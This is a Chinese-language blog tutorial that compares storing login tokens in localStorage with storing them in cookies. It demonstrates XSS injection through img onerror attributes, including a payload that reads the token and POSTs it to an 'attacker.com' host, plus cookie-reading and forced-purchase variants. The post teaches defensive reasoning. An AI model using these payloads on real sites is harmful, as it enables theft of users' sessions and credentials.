透過XSS取得localstorage和cookie上的資料
之前曾經在不管是國內還是國外的社團都看過有人在討論這個話題,自己同時也對這塊較為疑惑,因此把自己研究的心得寫下來,也順便讓以選要的人參考看看這個觀點。
讓我們先思考一個問題,你認為token該放Cookie還是localstorage比較好呢?
先說結論
這是一個假議題,好,你可以關掉了(X
前情提要
我們通常會從後端拿到token作為登入用的身份憑證,如果把token存起來,我就可以不用每次使用功能都要進行登入。
關於localstorage
localstorage是一個web API,可以讓你簡單存取key-value。
通常是用來存取簡單的資料,而不是文件或是龐大的object。
使用localstorage存取token
在講token放哪的議題之前,先來簡單介紹產生方式。
一般下面的步驟稱為:先授權,再驗證。
- 先進行authentication,從server取得token
1 | async function authenticate(email, password) { |
- 當你要跟後端溝通的時候,會夾帶在Authorization
1 | async function getUserInfo() { |
嗯,看起來沒問題對吧?
不過如果前端使用的方式存在漏洞,就會有安全性的隱憂。
XSS典型攻擊手法
XSS的攻擊手法有很多種,這邊以注入HTML為例。
- 輸入script到input
讓我們來看看以下的程式,使用者可以透過表單輸入來改變userInput的值:
1 | const content = ` |
上面的程式出了什麼問題?使用者可以輸入任何東西,所以如果輸入以下資訊:
1 | const userInput = '<script>alert("Hacked!")</script>' |
因為注入了script到HTML,因此瀏覽器就會執行alert。
這也代表著,使用者可以寫程式到你的網站上操作不可預期的行為。
補充:現在的瀏覽器和部分library已經會針對XSS做防範,所以你可能無法重現這個攻擊在目前的瀏覽器上。
- 善用element的attribute
讓我們來看看這段程式:
1 | const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="alert("Hacked")"' |
在使用注入的時候,要注意最終呈現的結果是什麼,以這個例子src裡面其實你可以放任何假網址,最重要的是它讀不到會觸發onerror而執行script:
1 | const content = ` |
實際上所代表的樣子長這樣:
1 | <img |
你以為只有這樣嗎?image的變化其實不少,例如你可以在src裡面放網址去trigger外部的API:
1 | const content = ` |
另外我們知道圖片讀不到會變成包子圖之類的,但是你可以加上alt來隱藏它的存在:
1 | const content = ` |
透過XSS竊取localstorage資料
上面我們了解典型的攻擊手法之後,大概知道可以在裡面塞入script了
那麼,接下來就要開始做壞壞的事情了。
- 取得localstorage內的token
如果會看瀏覽器debug tools的人,打開來會知道某個網站存取的token通常叫什麼名稱。
假設這個網站存的token叫token,那麼就可以這樣竊取:
1 | const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="const token = localStorage.getItem("token")' |
onerror的時候取得localStorage的token,再來只要透過console.log輸出就能看到資料順利取得了。
那又怎麼樣?不就是順利在local拿到localstorage而已嗎?
讓我們來加點變化:
1 | const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="const token = localStorage.getItem("token") fetch('https://attacker.com/steal-data', { credencials: 'includes', method: 'POST', body: { token } })' |
取得token的當下,馬上打attacker的API送資料出去,這樣attacker就能拿到使用者的token了。
想像一下,如果攻擊者把這段script順利存在網站的資料庫,這樣所有瀏覽這個網頁的使用者都會暴露自己的token了。
如果是Cookie呢
目前看起來,token存在localstorage似乎不是一個好方法?
所以token存在Cookie好像比較好?不一定
- 這次我們做同樣的動作,授權之後換成存在cookie上:
1 | async function authenticate(email, password) { |
- 和後端溝通的時候,從Cookie取得驗證
1 | async function getUserInfo() { |
我們一樣可以透過script取得Cookie:
1 | const userPickedImageUrl = 'https://example.com/no-image!jpg" onerror="const token = document.cookie.split("; ").find(c => c.startsWith("token")).split("=")[1]' |
所以看起來只要能塞入script就能做很多事情,所以Cookie或是localstorage哪個比較好,似乎是個假議題。
迷:可是Cookie不是有提供http only嗎?應該比較安全吧?我看過很多文章都這樣做。
Cookie的http-only
http-only主要是用來防止Cross-Site Scripting (XSS)
後端可以設定cookie 是否為http-only,被設定的值就無法被JavaScript存取,而browser可以讀取與使用。
1 | app.post('/authenticate-cookie', (req, res) => { |
這樣設定之後,我們的程式就會變成像這樣了:
1 | async function authenticate(email, password) { |
1 | async function getUserInfo() { |
如果domain不一樣的話,記得改成:
1 | async function getUserInfo() { |
credentials預設是same-origin。
假設page.com要看example.com互相溝通,改成include就能允許跨域。
同時也要注意後端設定對的CORS:
1 | app.use((req, res, next) => { |
測試取得cookie
log出來你會發現被後端設置為http-only的token就無法被JS顯示出來了
1 | console.log(document.cookie) |
用http-only就安全了嗎
不!沒有絕對安全的事情,很多文章宣揚http-only可以降低風險,但是請注意,是降低!
攻擊者的手法很多變化,使用進階的手法可以繞過某些保護間接取得。
XSS其中一種攻擊手法叫做Cross Site Tracing,可以參考OWASP的這篇文章
還有一種手法是使用Header injection的手法,可參考OWASP的這篇文章
迫使使用API
當然,攻擊者也不一定真的要取得你的Cookie資訊拿來使用,也可以直接讓你執行他想要的動作
例如強制你購買商品:
1 | const userPickedImageUrl = |
實際案例
可以參考這篇最近的新聞:EA的程式碼是怎麼被盜的?駭客解答:先入侵他們的Slack,然後在聊天室直接要登入密碼
攻擊者可以利用取得的Cookie去做更多社交工程的應用
結論
專案是協作出來的,儘管你的程式寫的完美無缺,如果你的夥伴寫出一個可能有被攻擊威脅的缺口,那麼再好的功都有可能失效。
由上述可知道,在資料未被加密的前提下,選擇任何一種方式其實都不是重點,重點是如何去針對XSS防範。
我個人蠻喜歡使用localstorage的,因為它使用上很簡單。
事實上XSS的手法非常多,閒閒沒事做的人都可以玩出一堆奇怪的手法來
資訊安全不能100%的防範,但是可以以做到防止大部分的攻擊行為為目標做防範
更多XSS種類可參考: